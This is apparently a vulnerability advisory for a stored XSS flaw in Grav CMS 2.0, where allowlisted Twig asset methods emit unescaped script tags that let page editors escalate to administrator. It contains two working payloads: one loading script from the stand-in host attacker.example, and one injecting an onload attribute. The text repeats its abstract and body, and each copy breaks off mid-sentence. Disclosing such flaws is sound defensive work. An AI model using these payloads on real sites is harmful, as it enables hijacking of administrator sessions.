CVE-2026-86197

Grav before 2.0.20 contains a cross-site scripting vulnerability in the Twig sandbox policy that allowlists addJs and addCss methods on Grav\Common\Assets without proper output escaping. Page editors can inject arbitrary script by registering malicious assets or injecting attributes, which are rendered unescaped into document head tags and executed for all visitors including administrators.

Grav before 2.0.20 contains a cross-site scripting vulnerability in the Twig sandbox policy that allowlists addJs and addCss methods on Grav\Common\Assets without proper output escaping. Page editors can inject arbitrary script by registering malicious assets or injecting attributes, which are rendered unescaped into document head tags and executed for all visitors including administrators.

Grav before 2.0.20 contains a cross-site scripting vulnerability in the Twig sandbox policy that allowlists addJs and addCss methods on Grav\Common\Assets without proper output escaping. Page editors can inject arbitrary script by registering malicious assets or injecting attributes, which are rendered unescaped into document head tags and executed for all visitors including administrators.

Summary

Grav 2.0 renders editor-authored Twig in page content by default and relies on the Twig content sandbox to contain it. The shipped sandbox policy allowlists addcss and addjs on Grav\Common\Assets (system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php:307). Because the sandbox arbitrates the call and not its downstream effect, a user holding only page-edit rights can register an arbitrary asset from page content; the theme then emits it into the document head as a <script src> / <link href> tag. The asset URL is concatenated into that tag without escaping, so it can also break out of its own attribute.

The save-time XSS scan cannot see this: Security::detectXssInEditorContent() renders the content body in isolation and inspects the returned string, while assets.addJs() acts by mutating the shared Assets service and returns only an object key. The payload contains no markup for the scanner to flag.

This is not a Security::detectXss() bypass. It is content reaching an unescaped output sink through an allowlisted method.

Affected versions

All Grav 2.0 releases whose sandbox policy allowlists addcss/addjs on Grav\Common\Assets. The entry predates 2.0.19 — it was carried forward unchanged when the sandbox allowlists moved from system/config/security.yaml into SandboxDefaults in 2.0.19.

Grav 1.7 is not affected: it has no Twig content sandbox and required an explicit per-page process: twig.

Details

Reachable by a plain page editor, with no Twig permission and no configuration change. On a stock install security.twig_content.process_enabled is true and system/config/system.yaml ships process: { markdown: true } with no twig key, so Security::applyTwigContentDefault() defaults every page's process.twig to the gate's value. Content Twig therefore runs on every page that does not explicitly set the flag. security.twig_content.editor_enabled: false and the admin.pages_twig permission gate only the per-page override checkbox in the editor — they do not gate whether Twig runs.

The sink. Assets/Js.php:46 (and identically Css.php:50, Link.php:41, JsModule.php:47) builds the tag by concatenation with no escaping:

return '<script src="' . trim($this->asset) . $this->renderQueryString() . '"' . $this->renderAttributes() . ...

For any remote asset, BaseAsset::init() stores the caller's string verbatim. Two working variants follow:

1. External script inclusion — {{ assets.addJs('https://attacker.example/poc.js') }}
2. Attribute injection with no attacker-controlled host — {{ assets.addJs('/user/themes/quark/js/site.js', {'onload':'alert(1)'}) }}, because unifyLegacyArguments() passes a second array argument straight into the tag's attributes and attribute names are not filtered. The same effect is reachable by embedding a quote in the URL itself.

Timing. Twig::processSite() resolves $page->content() before rendering the theme template, so the registration lands before the head is emitted.

javascript: and data: URLs are not exploitable — they are treated as local paths and dropped when the file does not exist.

Impact

Persistent script execution on the site's own origin for every visitor of the affected page — including administrators, which makes this a page-editor-to-super-admin escalation:

• Admin-Next renders the page-edit preview as an iframe pointed at the real front-end URL with sandbox="allow-same-origin allow-scripts allow-forms", so simply previewing the editor's page executes the payload on the admin panel's origin. The existing preview session isolation (plugins.api.protect_frontend_session) only suppresses server-side session start to protect a visitor's front-end session; it does not isolate the origin and does not prevent this.
• Admin-Next persists the administrator's API access and refresh JWTs in localStorage on that same origin. Injected script reads them…

Grav before 2.0.20 contains a cross-site scripting vulnerability in the Twig sandbox policy that allowlists addJs and addCss methods on Grav\Common\Assets without proper output escaping. Page editors can inject arbitrary script by registering malicious assets or injecting attributes, which are rendered unescaped into document head tags and executed for all visitors including administrators.

Grav before 2.0.20 contains a cross-site scripting vulnerability in the Twig sandbox policy that allowlists addJs and addCss methods on Grav\Common\Assets without proper output escaping. Page editors can inject arbitrary script by registering malicious assets or injecting attributes, which are rendered unescaped into document head tags and executed for all visitors including administrators.

Summary

Grav 2.0 renders editor-authored Twig in page content by default and relies on the Twig content sandbox to contain it. The shipped sandbox policy allowlists addcss and addjs on Grav\Common\Assets (system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php:307). Because the sandbox arbitrates the call and not its downstream effect, a user holding only page-edit rights can register an arbitrary asset from page content; the theme then emits it into the document head as a <script src> / <link href> tag. The asset URL is concatenated into that tag without escaping, so it can also break out of its own attribute.

The save-time XSS scan cannot see this: Security::detectXssInEditorContent() renders the content body in isolation and inspects the returned string, while assets.addJs() acts by mutating the shared Assets service and returns only an object key. The payload contains no markup for the scanner to flag.

This is not a Security::detectXss() bypass. It is content reaching an unescaped output sink through an allowlisted method.

Affected versions

All Grav 2.0 releases whose sandbox policy allowlists addcss/addjs on Grav\Common\Assets. The entry predates 2.0.19 — it was carried forward unchanged when the sandbox allowlists moved from system/config/security.yaml into SandboxDefaults in 2.0.19.

Grav 1.7 is not affected: it has no Twig content sandbox and required an explicit per-page process: twig.

Details

Reachable by a plain page editor, with no Twig permission and no configuration change. On a stock install security.twig_content.process_enabled is true and system/config/system.yaml ships process: { markdown: true } with no twig key, so Security::applyTwigContentDefault() defaults every page's process.twig to the gate's value. Content Twig therefore runs on every page that does not explicitly set the flag. security.twig_content.editor_enabled: false and the admin.pages_twig permission gate only the per-page override checkbox in the editor — they do not gate whether Twig runs.

The sink. Assets/Js.php:46 (and identically Css.php:50, Link.php:41, JsModule.php:47) builds the tag by concatenation with no escaping:

return '<script src="' . trim($this->asset) . $this->renderQueryString() . '"' . $this->renderAttributes() . ...

For any remote asset, BaseAsset::init() stores the caller's string verbatim. Two working variants follow:

1. External script inclusion — {{ assets.addJs('https://attacker.example/poc.js') }}
2. Attribute injection with no attacker-controlled host — {{ assets.addJs('/user/themes/quark/js/site.js', {'onload':'alert(1)'}) }}, because unifyLegacyArguments() passes a second array argument straight into the tag's attributes and attribute names are not filtered. The same effect is reachable by embedding a quote in the URL itself.

Timing. Twig::processSite() resolves $page->content() before rendering the theme template, so the registration lands before the head is emitted.

javascript: and data: URLs are not exploitable — they are treated as local paths and dropped when the file does not exist.

Impact

Persistent script execution on the site's own origin for every visitor of the affected page — including administrators, which makes this a page-editor-to-super-admin escalation:

• Admin-Next renders the page-edit preview as an iframe pointed at the real front-end URL with sandbox="allow-same-origin allow-scripts allow-forms", so simply previewing the editor's page executes the payload on the admin panel's origin. The existing preview session isolation (plugins.api.protect_frontend_session) only suppresses server-side session start to protect a visitor's front-end session; it does not isolate the origin and does not prevent this.
• Admin-Next persists the administrator's API access and refresh JWTs in localStorage on that same origin. Injected script reads them…